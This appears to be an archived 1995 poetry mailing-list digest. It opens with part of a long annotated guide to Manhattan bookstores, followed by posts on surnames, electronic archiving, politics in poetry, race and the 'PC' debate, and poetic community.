very good collection (as did The Mysterious Bookstore).

Barnes & Noble Books (Lexington north of 86th) (also downtown) New "super-store" (opened 6/26/92). "The old 86th St. Barnes & Noble has

moved around the corner and has expanded into what is certainly one of the finest bookstores in the city. A huge bookstore with a lovely decor, desks for reading, a knowledgeable staff, and a well-stocked (and well-laid-out) selection, this new store is an absolute pleasure. Kudos to B&N on this one."

East West Books (Columbus north of 86th) (also downtown) Stocks books on Buddhism, Taoism, Sufism, Indian Religions also New Age, self-improvement, health and healing. Cards, jewelry, audio tapes, incense. Good sized stock.

Met Museum Store (5th Avenue & 82nd)

They have neat art books, posters, engagement calendars, videos etc.

Shakespeare & Co. (81st & Broadway) (also downtown) ([redacted]) A good, large selection, they're good about getting in the new stuff quickly. One person said, "Much like Coliseum, but closes earlier," but now it has expanded its hours until 11:30 (12:30 on Friday and Saturday nights). It also expanded upstairs a few years ago.

Endicott Books (81st & Columbus)

A very good selection, with salespeople who like to read (really--this isn't all that common). A good store. Sometimes they sponsor readings by authors.

Burlington Books (81st & Madison) Lots of current titles, art books, as well as used books. They'll special order anything, and will do active searches for out-of-print titles. They often buy out estates, so you're almost always bound to find something new each time you go in. Just a block away from the Metropolitan Museum. Definitely worth stopping into.

Gryphon Bookshop (2246 Broadway btwn 80th & 81st)

They have a nice selection, and will do active searches for one.

OK, but too expensive. They have an Annex around the corner (at 246 W 80th off Broadway away from Amsterdam, on the south side of the street, one flight up) that sells everything at 50% off the listed price. That makes it reasonable (in most cases). Enormous lit & history sections.

Gryphon has charm and has recently expanded. The new store is on Broadway and is new and shiny, but the old store is around the corner and is dark and twisty and has a mysterious locked closet which contains a vast trove of old L. Frank Baum hardcovers (another poster says these bookcases are

in the new store). The Gryphon is probably one of the world centers for Wizard of Oz books. They also do searches.

Eeyore's (83rd off Broadway)
Children's books; Sunday readings and other activities for kids. Excellent, with a friendly, knowledgeable staff.

Storyland (3rd Avenue at 78th)

Museum of Natural History Book Store (in the Museum; 77th at CPW)
No guarantees, but they used to have an interesting selection of books on nature and natural history.

Books & Co (Madison at 74th)
Art, literature etc. Wonderful feeling, nice place to shop. Another good literate person's bookstore, reminiscent of Endicott. I've seen celebs shopping there, too (David Byrne; Kathleen Turner)
List priced new books, but very eclectic with a philosophy bent.

Barnes & Noble (Broadway and 74th)

Courtly Music (2067 Broadway btwn 71st and 72nd, suite 27 (on the second floor--not well-labeled on the door)). Hours are 9:45-5:45 Tuesday to Saturday and they also have an 800 number (2-RICHIE). "The focus is on early music, and they have books, instruments, tapes (I don't recall if they have LPs or CDs), instruction tapes and books, and give lessons. I saw someone behind the desk wrapping something, so it looks like they will do mail order. The staff seemed knowledgeable, and xeroxed off a sheet for my friend of local branches of the American Recorder Society for him to contact. All in all a nice shop."

Applause Books (211 W. 71st west of Broadway) ([redacted])
They specialize in film and theatre; some books that can be found nowhere else.

Civilized Traveler (Broadway between 66th and 72nd). Opened spring of '92, it's an upscale travel store with guidebooks and maps as well as suitcases and a variety of gadgets and conveniences for travelers. "Their collection isn't vast, but I'm hoping it will build."

==========MIDTOWN==========
Argosy (59th btwn Park & Lexington)
They are very strong in used hardcover fiction (no sf though), particularly older things from say circa 1920, like James Branch Cabell. They also sell old prints and

Americana.
Antique and used books, maps, and prints.
Some beautiful books, but the owners are major goniffs (thieves) so you'll have to hunt for bargains.
It is about five stories high and is one of those books-stacked-up-the-walls-to-the-ceiling places; dim, musty, dense, mysterious. You get the feeling that you could find anything at all there if you only looked long enough.

Barnes & Noble (6th Avenue and 57th)

Books Nippon (57th btwn 5th & 6th Avenues)
Books, cards, magazines in Japanese and English. Fair-sized collection of English language books on a variety of Japanese-related topics, including a large number of art books. Also a large supply of Japanese language books and periodicals.

J. N. Bartfield Fine Books (30 W 57th (3rd floor) btwn 5th & 6th Avenues)
This is a gallery-like place that carries mostly bound sets of literature. Much of what they carry looks like old versions of the fancy-book-of-the-month club-featuring-the-great-works-of- literature-in-genuine-hand-tooled-leather offers that are available these days. I am not, however, an old book expert so I am not sure if that is a bad thing. I saw an old Vergil edition for $495; this place ain't cheap but may be worth a visit.

Rizzoli's (57th btwn 5th & 6th Avenues)
Probably the premier art book store in the city. Lots of fun stuff, also foreign books + periodicals
A classy place, strong on art books.
Opulent bookstore specializing in art/architecture/design books.
Italian Bookstore chain. Excellent art, design, and architecture sections. New books at list prices.
If you like glossy art books at full price try Rizzoli's.
(Also has a downtown and a WTC store)

Hacker Art Books (4 West 57th Street) ([redacted])

Coliseum Books (57th & Broadway Avenue)
A good stock of new books, and open until eleven or midnight. An independent.
"Coliseum is vast and carries everything that is in somebody's mainstream; it is the only place I know, for example, to purchase a copy of QUOTATIONS OF CHAIRMAN

MAO off the shelf." (But see below for a bookstore in
Chinatown that also has it.)
"Coliseum is large, and has a wide selection. I have not
found the staff to be very helpful. I wanted to special
order a book, and was told I could only do it Mon-Fri
during daytime hours. Looking through the literature
section, I found that they had nearly every single Martin
Amis book, but none by Kingsley Amis -- Not even LUCKY
JIM. They have a terrific poetry section."

Forbidden Planet (228 East 59th btwn 2nd & 3rd Avenues)
The store on 12th street is better, IMHO.

The Mysterious Book Shop (129 W. 56th)
Mystery books and so on. It also has its own publishing company
so they also have the latest copies of their own line
of mysteries. Book-signings by authors.

Patelson's (56th & 6th Ave, just behind Carnegie Hall) The best place in NYC for books about music. A huge selection covering all genres. They also are NYC's most-popular source for classical music scores. They can special-order *anything* music-related and will ship.

Doubleday (5th Ave & 53rd) -- like Dalton's... They have access to everything, and order what's good, not just what sells. Good store, decent selection, often good salespeople. One of the best mystery book selections in the city outside of the mystery specialty stores. Book-signings. At the front of the store is a bookcase of signed books at regular prices.

MOMA Bookstore (in the Museum) (53rd btwn 5th & 6th Avenues)
Good selection of books on art, and art books; great poster
section; you *don't* have to pay admission to get in.
At Christmas they expand across the street, or used to.
More neat stuff.

B. Dalton (5th Avenue & 53nd)
Granddaddy B. Dalton which is worth stopping into if you're
in the neighborhood. It is a lot better than the usual
run-of-the-mill mall rat B. Daltons and is well-stocked,
especially if you are looking for recent releases.
Also one on 8th and 6th Avenue.

Rand McNally (52nd btwn Lexington & 3rd Avenue)
Lots of national and international maps, guide books, globes.

Sky Books International Inc (48 E. 50th) Look carefully since this is a small place on the second floor. Their specialty is in military and aviation books

and magazines of which they have a good selection. In addition to hardcover and paperback fiction, they have a good deal of stuff on tactics, uniforms, history, aircraft, weapons, etc. They carry a number of magazines which will be of interest to the plane freak and/or model builder. Prices are reasonable but not really bargains. They have a good bulletin board for those interested in buying and selling military paraphernalia.

Librarie De France (Rockefeller Center, a small storefront on the Promenade (near the skating rink, opposite the Teuscher's Chocolate shop :-) The Promenade is located off of 5th Avenue, between 49th and 50th streets) ([redacted]) Run by the same people as the French-Spanish Bookstore, a slightly bigger store downtown on 5th at 19th street, which has many, many more dictionaries. At first, the store appears to be very small, but there is a downstairs section whith about five or six times the space as the upstairs. I had been in the store several times before I discovered the downstairs section. A very large selection of French novels, short stories, non-fiction, etc. Some newspapers, magazines, and records. They also have a reasonably large selection of dictionaries and instruction books for other languages. Prices tend to be high. Staff is usually fluent in French.

Kinokuniya Bookstore (49th btwn 5th & 6th Avenues)
Japanese books, origami paper, etc. Very large and usually very busy. Japanese tour buses stop here because of its proximity to Rockefeller Center. A bit expensive but much better than any other Japanese bookstore in New York.

Drama Book Shop (723 7th Avenue at 48th) ([redacted])

McGraw-Hill Book Store (48th & 6th Avenue in the basement of the McGraw-Hill building.)
Best bet for technical books in the city.
An excellent selection for technical books, especially computer books. Their mathematics section is also good, as is their finance section. All publishers.

Shinbato (McGraw Hill Bldg)
Specializes in Japanese books and books pertaining to the Japanese.

Gotham Book Mart (47th btwn 5th & 6th)
Excellent poetry, literature, philosophy etc. Practically unique in the world.

United Nations Bookshop (General Assembly Building, E 45 St & First Ave)
([redacted])
Has international affairs books, and UN publications.

Urban Center Books (457 Madison Ave) ([redacted])
Great place for Architecture/Planning/Urban Design Books

Travel Bookstore (199 Madison at 35th)
Important collection of maps, guides and books. Very knowledgeable staff composed largely of travel-addicts, as opposed to the younger Rand-McNally staff. Many more travel commentary books than strict guide books.

Macy's (34th & 7th Avenue)
Surprisingly good!

Pak Books (27th btwn 3rd & Lexington)
Books on Middle Eastern culture, philosophy, etc.

==========DOWNTOWN/VILLAGE========== Samuel French bookstore and reading room (45 W 25th) ([redacted]) Open 9-5 M-Fri; their ad says "1000's of play titles; out of print archives for Samual French plays; bookstore & reading room open to the public". I've never been there; caveat tourist.

Victor Kamk(a)in (149 5th Avenue south of 22nd) ([redacted]). Russian Language bookstore. It's said to be good. ("That 'a' appears in the Yellow Pages but not in the White Pages. No, I'm really not that compulsive, I just tripped over the discrepancy once.")

The French-Spanish Bookstore (5th Avenue and 19th) A very large selection of French and Spanish novels, short stories, non-fiction, etc. Some newspapers, magazines, and records. They also have a reasonably large selection of dictionaries and instruction books for other languages. Prices tend to be high. They have a slightly smaller store uptown in Rockefeller Center. Staff is usually fluent in French or Spanish.

Academy Bookstore (18th btwn 5th and 6th Avenues)
Small, well-kept.
Has strong humanities and soc.sci. section. Also a large supply of used CDs, especially classical and opera!

Skyline Bookstore (13 18th btwn 5th and 6th Avenues)
Across the street from Academy and apparently owned by the same person. This one has a slightly different focus than Academy.

Book-Friends Cafe (18th btwn 5th and 6th Avenues) The store is run by Elizabeth Cymmerman. It specializes in works between 1890 and 1940

and, in addition, serves food and drink. There is also a list of scheduled readings posted on the door. The collection is small but the place seems inviting. The concentration is on biography, hardback fiction, and gracious living.

Barnes & Noble (18th & 5th Avenue)
The sales annex, which is largely remaindered,
used, and discontinued books, and so on, is big.
A whole store for half-price stuff and another whole store
for textbooks. I think it is less well laid out than
Coliseum, but it is also better-stocked on some recent
things and is often cheaper.
The retail store across 5th Avenue is also huge,
with a great reference section.

Brunner/Mazel (19 Union Square West, 8th Floor) ([redacted]) Mostly psychology.

? (14th btwn 6th and 7th Avenues)
Spanish-language bookstore. Big selection. Staff speaks
Spanish and English.

East West Books (5th Avenue btwn 13th and 14th) (also uptown) Stocks books on Buddhism, Taoism, Sufism, Indian Religions also New Age, self-improvement, health and healing. Cards, jewelry, audio tapes, incense. Good sized stock.

Books of Wonder (17th & 7th Avenue) Heavenly gift to adults who like children's books. Everything from first editions to the latest paperbacks. They do readings periodically. Periodic newsletter they'll send to customers announcing new books.

Revolution Books (16th btwn 5th Ave & Union Square)
Huge Marxist & otherwise left wing inventory.

Book Scientific (16th btwn 5th Avenue & Union Square) Scientific and technical books; good selection, 10% discount to faculty or university researchers. They'll order books, and ship them. With university ID, there are often extra discounts. Best stock in the city of scientific books, and they offer a 5% discount to students. It's hard to find on its own, being on the 2nd floor with a tiny sign, but it's directly across from the large red "Revolution Books" banner.

Book Source (16th btwn 5th Avenue & Union Square) Large used- and rare-book store, on the same floor as Book Scientific. "Nice collection of plays, but I don't remember much else about it."

Different Light (Hudson near 14th)
Gay and lesbian bookstore.

Biography Bookshop (Bleecker & 12th) One poster says, "Nice store, but try the Strand first -- this place is way overpriced." (Editorial note: this probably just means that new books are in general over-priced.)

Mysterious Bookstore (Foul Play) (8th Avenue & 12th)
Mysteries & horror.

Strand Books (828 Broadway & 12th) ([redacted] or [redacted])
This place is huge. They specialize in reviewers'
copies for half-price, used books, and the out of print.
"The Strand is one of the world's largest bookstores, and
yet the employees there, unlike those in many smaller
bookstores, really do know what is on the shelves and can
tell you immediately whether or not they have what you are
looking for:
'Do you have "The Complete Encyclopedia of Illustration,"
by...'
'By Heck. No, sorry; we don't.'
is a much better answer than :
'Uh, gee, I dunno...look around on the shelves.'"
Open Mon-Sat 9:30 AM-9:30 PM, Sun 11 AM-9:30 PM.
There's a much smaller branch at the South Street Seaport,
and I've seen a mini-branch of a few portable bookracks on
Fifth Avenue along Central Park. The Strand has a separate
store for antiquarian books next to the main store (not at
ground level), accessible by escort or appointment. This store
has a good selection of original editions and valuable books.

Forbidden Planet (12th & Broadway) "The Science Fiction and Fantasy Flea Market." Books, comic books, posters, magazines--if you're at all into this stuff, it's worth it. (Editorial note: I prefer the Science Fiction Shop--it has a *much* better selection of books, while FP seems too involved in marketing peripheral stuff.)

Three Lives Book Store (154 W 10th east of 7th Ave.)
A wide variety of subject matter, but seeming to concentrate on
women authors, reissues of 1920s and 1930s books. Very
interesting place to browse.

Judith's Room (Washington btwn Charles & 10th) "I found this when I was hunting for a copy of Christine de Pisan's 'Book of the City of Women' to use in a medieval philosophy class. Not available in any university bookstore I searched, nor in B&N or Strand. Not only did Judith's Room

have the book, but the saleswoman had read it and could discuss it, and recommend other books by Christine, and other women of that period." It's also the only feminist bookstore in the city. They sponsor readings.

Oscar Wilde Bookstore (Christopher btwn Gay and Greenwich Ave.) Gay and lesbian books. This is a much older store than A Different Light, and was probably the first such in the city. (And, yes, it really is near Gay St!)

Pageant, 109 E 9th, off 4th Avenue

Woody Allen shot one of the scenes in HANNAH AND HER SISTERS here. Offbeat -- a peculiar mishmash of unexpected gems buried in the dreck. I recently got an absolutely mint first edition of William Gaddis' JR here for $5 -- not the first time I've found a terrific book in this place for next to nothing.

Probably some real finds in the incredibly disordered upstairs -- I've never had the patience....

St. Marks Bookshop (St. Mark's Place (8th St) btwn 2nd & 3rd Avenues)

"A GREAT bookstore. Excellent selection of books for the downtown intellectual." Though they had some financial difficulties in the past, they are now in the black again. Open fairly late. Smart, sometimes helpful, staff.

B. Dalton (8th & 6th Avenue)

Worth stopping into if you're in the neighborhood. Well-stocked, especially if you are looking for recent releases. Also one on 5th Avenue & 53nd.

Esoterica (61 4th Avenue just north of Astor Place)

Large stock of books on Buddhism, Hinduism, Taoism, occult and New Age. Incense, jewelry, audio tapes.

Cooper Square Books (21 Astor Place) ([redacted])

Very large selection, non-existent staff. Better prices at Tower Books, slightly better staff at St. Mark's Books.

??? (7th btwn 1st Avenue & Avenue A) There is a bookstore (a slight walkdown from the street) on the south side of the street, that has some great stuff and the prices are very good. I don't know its name, or even if it has one, but the owner is a older woman who has been in the neighborhood a long time. She's slightly nutty, but you can always play tourist and avoid confrontation.

Shakespeare & Co. (Broadway just north of 4th) (also uptown) A good, large selection, they're good about getting in the new stuff quickly.

Tower Books (Lafayette & 4th)
Good selection, open late, reasonable prices, eclectic selection of magazines and out-of-town newspapers. Pretty good discounts for hardbacks and best sellers.

Art Bookstore? (Broadway and Bond)
An excellent art bookstore.

The Art of Reading (Mercer and Bleeker)
Piles of used books, and (for a change) strong sections in math & science. They also have loads of used textbooks.

Science Fiction Shop (Bleeker west of Thompson) Moved from their old Eighth Avenue location. This one *does* have enough room to swing a (small) cat in; it also shares the second floor with a comics store that is quite good.

Rizzoli's (454? W Broadway around Prince) Italian Bookstore chain. Excellent art, design, and architecture sections; probably the premier art book store in the city. New books at list prices. Lots of fun stuff, also foreign books and periodicals. "A classy place, strong on art books." "Opulent bookstore specializing in art/architecture/design books." Has an espresso bar. (Also has an uptown and a WTC store) (For out-of-towners, note that W Broadway is an entirely separate street from Broadway, running parallel to it and about four blocks west.)

Guggenheim Soho Museum (Broadway and Prince) A good art bookstore (big surprise, right?). There's absolutely no reason to visit Rizzoli's and not here, or vice versa. (For out-of-towners, note that W Broadway is an entirely separate street from Broadway, running parallel to it and about four blocks west.)

Untitled Cards (159 Prince)
Before art postcard shops became something to franchise, there were cramped stores like this jammed with an exquisite selection of cards. Another branch on W. Broadway is more spacious and has an extensive art book selection, but lacks the down-home feel of the original.

Spring Street Books (169 Spring near Thompson) Another great collection. It is not a large place, but it is filled with wonderful books. The poetry section is quite good, for such a small store. They also have a nice selection of magazines. The recent fiction section is arranged alphabetically by title, rather than by author.

Soho Books (351 W Broadway, 1/2 block below Broome) ([redacted]). Opened May '92. Good assortment of used books in a wide variety of

subject areas; biography section seemed especially diverse. Worth dropping into on your way to buy new books at Spring St. Books and Rizzoli.

Oriental Culture Enterprises Co, Inc (13-17 Elizabeth, [redacted]), second floor. Open Friday-Wednesday, 10 am to 7 pm. "I got my five-volume SELECTIONS FROM MAO ZEDONG there. (They have it in English, too, by the way, along with Lenin, Marx, and others. But finding the books in English is not easy, particularly if you don't speak Chinese.) A great selection of books, most of which are in Chinese. They also sell things needed for Chinese calligraphy, Chinese musical instruments, recordings of Chinese music, Chinese-language periodicals, and many other things Chinese. An attached art gallery sells paintings. While browsing through the books, sit down and enjoy a cup of tea free of charge. Well worth a visit. Two complaints: it's more expensive than it should be, and too many of the books are damaged (by careless customers, or by thoughtless staff?). Unquestionably the best bookstore in all of Chinatown."

Irish Books and Graphics (90 W Broadway near Chambers) New and used books mostly related to Irish history and culture. Selection of Irish language (Irish Gaelic) books and periodicals. Very pleasant place.

A Remainder & Used bookstore (Chambers btwn Broadway & 8th)

> Called Harry's or Barney's or something similar. Prices are great but ratio of remainders to used books is very high. Lots of used paperbacks, if that's a lure. Note: this might actually be the following:

Ruby's Book Sale (119 Chambers)

> Really BARGAIN prices for books; many, many, NEW books in the $40-$100 range can be had here for $15-$25; one book I bought for my daughter was $47.95 NEW at Miller's (a riding shop) and was purchased at Ruby's for $12!

Science Fiction, Mysteries, and More (140 Chambers west of W Broadway) Opened June '92. It will have readings and signings. Details to follow as I get them.

Computer Book Works (25 Warren between Church and Broadway, [redacted]). They also run a BBS which you can access by dialing [redacted] with your modem.

Strand Books (South Street Seaport, [redacted])

> Nowhere near as large as the one on Broadway. Open seven days a week 10 AM-10 PM.

Isaac Mendoza's (used) (2nd floor loft above Ann near City Hall) They have the best selection of used hardcover science fiction in town, by far. They are also strong in a number of other categories and their prices are reasonable -- I saw a copy of THE ICEMAN COMETH inscribed by Eugene O'Neill there once, for $25.

Rizzoli's (World Financial Center) ([redacted])

Probably the premier art book store in the city. Lots of fun stuff, also foreign books + periodicals
A classy place, strong on art books.
Opulent bookstore specializing in art/architecture/design books.
Italian Bookstore chain. Excellent art, design, and architecture sections. New books at list prices.
If you like glossy art books at full price try Rizzoli's.
(Also has an uptown and downtown store, and they have opened up a branch in Bloomingdale's 59th & Lexington Avinue. They also have stores in Boston, Chicago, Costa Mesa and Williamsburg.

Waldenbooks (59 Broadway south of Wall St.)

Very strong on finance. Reasonably strong on everything else.

Also, there are lots of specialty bookstores, usually around each of the colleges and universities in the area (Columbia, NYU, St. Johns, CUNY, and so on).

There used to be "The Bookstore Book" (subtitled "A Guide to Manhattan Booksellers") by Robert Egan, published by Avon. It listed over 750 bookstores, categorized by type of store and subject area, with several useful indexes. Unfortunately it was published in 1979, and is probably somehwat out-of-date.

Evelyn C. Leeper | [redacted] | [redacted]

↑ Index

303. Ron Silliman

Last Names

Fri 14 Apr 1995

Of course, were it not for history, Tom Mandel's name would be Oscar Pullerman. And my grandfather's name was changed at his adoption from Emerald Ambrose McMahon to Emerald Ambrose Silliman (he never much cared for the Emerald Ambrose part either, signed his initials and called himself "Bud"). And two of my favorite poets in the world are Carolyn Hall Ochs and Mary Korkegian.

↑ Index

304. Loss Glazier
Re: digest
Fri 14 Apr 1995

> *As for another subject Loss raises, that all this is saved, I wonder if it ever will be read. At first I was unnerved by the fact that these messages were all saved and that this thus constituted "publication" in a sense -- I'm so horrified by most of what I write that most of it gets thrown out. About half the time I write messages I erase them before sending them out, and that's just because I don't even want them read once, let alone them being electronicly stored forever (or at least until SUNY goes bankrupt). But with a medium that produces so much language that we have trouble keeping up with it in our own time, I wonder what the chances are of these things ever being read.*

Ah yes, but you gotta think that it's the way "culture" is going, i.e., at one point in time, I'm always amazed to read, someone who graduated from a University had mastered a "controlled" universe of texts, the classical texts in the original, texts of the national literature, a consisten range of "major" philosophical works.

Of course, we don't have this any more.

And as you point out, the texts have spread beyond grasp. Nonetheless, these _are_ texts and I can think of exapmles where I've cited the list or Susan Herring's incredible work on gender-based list discuorse. (See EPC documents/conversatiosn for this paper.) But the fact that they have spread doesn't mean they don't have spirit!

Let's work on a million words...

All best,
Loss

↑ Index

305. Ron Silliman
Re: Standing
Fri 14 Apr 1995

Ed Foster wrote:

>
>sorry, ron, but it's not true unless your name is althusser. yes, i recognize th
>e line, but viewing politics as the great ur-god is just mystification, yet anot
>her muse. the french, thank heavens, went home.

>
>
It has nothing to do with the French (unless we're specifically talking about French politics), but everything to do with daily life. One major reason that Russian poetry has continued to hold its strong connection to an oral tradition (Ilya Kutik and Ivan Zhdanov rhyme more often than not, and Zhdanov can recite his poems with his eyes closed for an hour at a time without pausing) is, as Ilya points out, because in their history and context "paper is very expensive."

The idea (popular on the CAP-L list I believe) that American poetry is a tributary of British literary history -- rather than, say, that British literature is just one of many wonderful roots in the thick stew of our literary origins -- is a complex and specific history of political domination made tangible even in the tongues we speak.

I admit to being shocked at the neo-Luddite position. There certainly is an approach to politics that can be a mystification, as there can be to poetry (viz. so many of Susan Howe's readers or the worrying over skipped anapests among the new formalists, or -- I fear, not having seen the film yet -- the recent deification of Jim Carroll).

The history of the 20th century teaches perhaps only one lesson and that is that to ignore one's sense of history and politics at any given moment is to surrender one's life -- too often literally -- to the politics of another. From Armenia to Auschwitz to Kampuchea to Bihac to Rwanda. Dubravka Djuric is half serb and half croat. She writes for an identity and people that cannot now logically exist. Can you tell me that that tragedy is not real and that it does not affect poetry?

Or consider how the history of homophobia informs every word, every line of Jack Spicer's poetry. Or even O'Hara's. Or how the distinction between the two can be organized around their relative class stances.

What you been smokin', Ed?

Ron

↑ Index

306. Mn Center For Book Arts
Re: nyc bookstores (long)
Fri 14 Apr 1995

Despite the long list of bookstores, I tend to agree that there are few who would have the books talked about on this list, or a large selection of books carried by SPD. St. Mark's, yes. A severe loss was when The Bridge moved away several

years ago, and now it's owner, David Abel, is in Albuquerque with a new & fine book store, Passages.

One important treasure in New York left off the long list was Printed Matter, carrying visual books, artists' books, and more (not much poetry within that, but some, and some experimental music). It's in SOHO, but I don't have the address at hand. Worth a visit.

charles alexander

& I'm an infrequent NY visitor, so someone else may have even better suggestions

↑ Index

307. Robert Drake
Re: Knowledge & empowerment / electronic
Fri 14 Apr 1995

> *loss, you may be right, and yet there's much to be said for personal libraries, not dependent on anything but desire to read. then again, where does one get the issue of a magazine from a generation earlier if it's not in one's library already?*
>
> *This brings up an interesting point. First, not to overlook the richness of one's library. A constant source of encouragement. But the scene is changing. And poetry people might wish to take note. I still insist that an early issue of _C_ is hardly available to most.*

to speak in defense of lowtech librarianship--one of my prized possesions is a complete set of Duncan's HD Book, assembled w/ the help of Cleveland State (hardly a major research library) and interlibrary loan--the hardest part of assembling it, several years ago, was finding the references.

& naturally, the electronic archiving priorities of universities will stick close the numbers/canon--it's quite an investment to convert paper into bytes (personal attestament). which why am i of mixed emotion on th brave new world of etext. it's another media, but the old is not obsolete. if it is viewed so, yeah, the minority voices just won't survive.

just snapped up a copy of Catepiller 8/9 at the used bookstore, gleeful to pay the coverprice of $1.50. and some guy still using fullname "ronald" writ:

Where the sea sets the lord ship . as if
it was the song was all
was there

ever the writing without the wall...

will these screens will be next lascaux cave wall?

lbd

↑ Index

308. **maria damon**
Re: Standing
Fri 14 Apr 1995

---

thanks ron, i always appreciate your reasoned clarity.--maria damon

In message <[redacted]> UB Poetics discussion group
writes:
>>
> The history of the 20th century teaches perhaps only one lesson and that
> is that to ignore one's sense of history and politics at any given
> moment is to surrender one's life -- too often literally -- to the
> politics of another. From Armenia to Auschwitz to Kampuchea to Bihac to
> Rwanda. Dubravka Djuric is half serb and half croat. She writes for an
> identity and people that cannot now logically exist. Can you tell me
> that that tragedy is not real and that it does not affect poetry?
>
> Or consider how the history of homophobia informs every word, every line
> of Jack Spicer's poetry. Or even O'Hara's. Or how the distinction
> between the two can be organized around their relative class stances.
>
> What you been smokin', Ed?
>
> Ron

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309. **maria damon**
Re: "Indians R Us"
Fri 14 Apr 1995

>thanks aldon! and, lindz, it's important to separate personal "guilt feelings"
from taking responsibility. they are usually mutually exclusive.--maria damon

On Thu, 13 Apr 1995, Aldon L. Nielsen wrote:
>
> > Forgive me for being shocked, but "PC Movement"??? come on --
> > Did I miss something -- Has the U.S. government actually recorded an
> > apology to the Indians (as they did belatedly to the interned
> > Japanese-Americans)? Are we all apologized out?
> >
>

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310. Rae Armantrout
Re: nyc bookstores (long)
Fri 14 Apr 1995

Dear Anyone in NYC,

I'd like to do a bit of personal whining in regards to bookstores in NYC. I've recently been told by Elanine Equi that my new book - published by Sun and Moon and therefore distributed by Consortium, out since mid-February - has not appeared at St. Mark's or any bookstore she knows of downtown. Books and Co. uptown supposedly has it, but...really. So either having this slightly more prominent publisher/distributor on your side doesn't really help much or , well, maybe it's just me. What can I say? Life's a big disappointment.

Yours,

Rae Armantrout

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311. Ted Pelton
PC
Fri 14 Apr 1995

Lindz Williamson recently wrote: "I acknowledge the shit in my ancestor's history and believe that it should never be forgotten, but I will not kiss anymore ass to compensate for being born white."

Canada is a very different place than the U.S., I have a feeling, and there are also many different places within the U.S. But off of University campuses in the U.S. and outside of large liberal-leaning U.S. cities, there is nothing like a "PC movement" going on. What there is is a fear that PC is coming from these "horrible" places (as reported in the mainstream press to all of the country) to take over all of our lives. "Acknowledging the shit in our history", for most U. S. Americans, is seen as the equivalent of "kissing ass." Resurrecting old biases is confused with strength. One representation of this is how the several announced Republican challengers for the Presidency are not being referred to in diminutive forms, as were the Democratic (problematic, but more sensitive) challengers four years ago: remember the media characterization of "the seven dwarfs"? The rhetoric of not kissing any more ass is what fires the campaigns and the coffers of the major conservative candidates, gives them strength and stature. We beat those Indians in a war, didn't we, so why are we cowering now? Another manifestation of this is that I'm at a small college where the Dean is openly opposing the starting of an interdisciplinary Ethnic and Gender

Studies program (we have no Woman's Studies, African-American Studies, Native American Studies, Asian-American Studies, nor does hardly any college in the state of Wisconsin outside the major UW campuses), saying that we're preaching "pluribus without the unum." The plain assumption is that once we had traditions which made fair and honest judgments and that revisionists are perverting these. A history that doesn't support this comfortable version of the past is called, again our Dean's word, "divisive." We mustn't ruffle the egos of our male business students.

Things might be different in Canada. Here in the states, we're moving quickly back toward the right and backlash against the characterization of PC hegemony is much stronger than any real addressing of the problems of social inequity/inequality. And come on, LindZ, has your Scotch etc. ancestry ever prevented you from getting a cab at night, or a bank loan? I'm Irish-German with a tiny part Jew (baptised Presbyterian, practicing atheist) and I when I entered my thirties (and started a full-time job) all of a sudden everyone was treating me exactly how I heard white men were always treated and had doubted when I was in grad school and feeling disenfranchised: with an uncomfortable amount of deference. Bankers are smiling at me like I'm their friend, knowing absolutely nothing about me, just by looking at me! (A revulsed shudder runs through me.) It's another aspect of racism, to my mind: I'm being judged not by who I am, but by what I look like, who others picture me as according to surface characteristics. This is the very same lesson, ultimately, as is seen in Ralph Ellison's _Invisible Man_ (recommended by Kali Tal on this list long ago): we are all still judged by such visible characteristics. Or as W.E.B. DuBois wrote a century ago, the glare that people of color get walking through middle America remains the same, a stare which asks, "How does it feel to be a problem?"

In a time when there's shrinking opportunities (like the fact that I will never have the cushy jobs my grad school profs did), it's comfortable to say that past inequities have been addressed, if only because we've all been lowered to the worst possible level. But I have a student (black) who ALMOST escaped the worst projects in Chicago, started a class with me this semester and is now sitting in jail (and because of overcrowding is in with some of the worst prisoners in the state). He's no saint, but I've known or seen white students who've done just about every illegal thing in the book and not ended up in jail. His speech is black, his dress is black, his circumstances are black -- these signs all help put him in a Wisconsin jail.

No one's asking you to feel guilty. I don't feel guilty. But if I haven't had advantages, I haven't had disadvantages either. Where does this feeling you've been "kissing ass" come from? Could you give examples of how you've had to kiss ass? It sounds to me like the same rhetoric I hear from my thoughtless

rural white freshman students who don't want to be bothered with anything that will stand in between them and their (economic) goals, including concern for the less advantaged or a history that doesn't conform to their images of themselves. I'm not asking you to feel guilty, I'm just wondering where this feeling that you're being threatened comes from, if it isn't a dominant cultural position you feel is under attack, even if you're not yet acknowledging it to yourself.

Ted Pelton

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312. **Joe Amato**
Re: PC
Fri 14 Apr 1995

---

well ted, that's one of the most succinct summaries i've read to date as to the situation as i see it and (white male het. that i am) FEEL it...

thanks for that, complements nicely ron's political reading of poetry...

joe

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313. **Spencer Selby**
Re: Acceptance and Change
Fri 14 Apr 1995

Dear Tom, To accept the world is to change it. In other words, I don't believe it's a question of acceptance or change. You can emphasize one or the other in yr discourse. But you're not going to have that much of either in life if you don't opt for both. By the same token, I'd say I'm arguing for acceptance as much as change in this little discussion we're having. I'd say that the pervasive denial one encounters regarding the power issue is a refusal to accept the way things are, a refusal to face reality. When there's less denying and more facing up to the reality we live in, then people will talk about these things more and other things will happen (some of which we can't imagine or predict) that will lead to significant change. In the meantime, we don't really have acceptance or change. Not enough to satisfy me, and it shouldn't be enough to satisfy you either. Don't know what else to say, except that you can address me as you wish, whatever you're in the mood for is fine with me. (Never meant to imply otherwise.) Yrs, Spencer

On Thu, 13 Apr 1995, Tom Mandel wrote:

> *Spencer-*
> *Yes, we are friends, unless something happened to make*

> *that not so I mean. & my explanation of why I used "Spencer Selby" not "Spencer" in my previous post simply stands. That's why I used your full name. Charles Alexander, btw, refers to me in his posts as "Tom Mandel" - tho we are good friends. Ron Silliman, one of my old friends and someone I love deeply, call me Tom Mandel here, an dI just called him by his full name. Why is this a problem? Or have I mistakenly taken it to be one for you?*
>
> *I don't know how to respond to most of what you cover in this most recent post other than to say that the question for me is what is something I can use productively inb my work. If you can use this set of related topics productively in your work, then that's a significant fact. Certainlyk, I was not trying to downplay the element of what I called agon in the rleation any poet sustains to what we seem to want to call the poetic community. I just pointed out that there is a vector of utility there also, something to push against which one can always count on being there to push against. Perhaps foolishly, I accept, even cherish the sense of exile that attaches to my sense of what it means that I Tom Mandel am a poet. I don't want the world to be different.*
>
> *That said, I can't question the accuracy of your analysis as you draw out the manifold dishonesties and confusions attaching to this same world which I am saying I do not wish to change. That is, it is not this effect on the world which in my work I pose, in the sense that Duncan has been quoted here, as the ideal of poetry's power, and strive so to realize.*
>
> *Tom Mandel*

